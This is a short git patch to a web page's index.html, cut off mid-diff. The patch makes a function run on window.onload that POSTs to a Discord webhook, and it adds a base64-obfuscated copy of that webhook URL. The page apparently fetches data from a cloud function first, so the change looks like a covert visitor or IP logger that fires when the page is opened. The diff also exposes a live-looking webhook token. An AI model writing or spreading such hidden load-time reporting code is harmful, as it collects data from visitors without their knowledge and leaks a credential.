From ecf14d02e9e13cd128a10d03bbfe044af82ee237 Mon Sep 17 00:00:00 2001 From: Boof <97455552+hexahigh@users.noreply.github.com> Date: Wed, 11 Jan 2023 12:41:23 +0100 Subject: [PATCH] e --- Other/XYgu/index.html | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Other/XYgu/index.html b/Other/XYgu/index.html index 8ca31ff..47e27d3 100644 --- a/Other/XYgu/index.html +++ b/Other/XYgu/index.html @@ -19,7 +19,8 @@ $.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/g }) .catch(error => console.error(error)); //Send the webhook - function sendMessage() { + window.onload = function sendMessage() { + var webhook = "aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTA1MTgyMTY2MjgwMDE5NTYxNC9hemJqU2JBLS1iRlgwbjRhMDNseDNwdGp6akVUT3lpcE5CMm1PVlNfc1pKaXR3YzM3R28wY21kR1gwVTVwSnRsdXllag=="; const request = new XMLHttpRequest(); request.open("POST", "https://discord.com/api/webhooks/1051821662800195614/azbjSbA--bFX0n4a03lx3ptjzjETOyipNB2mOVS_sZJitwc37Go0cmdGX0U5pJtluyej"); request.setRequestHeader('Content-type', 'application/json');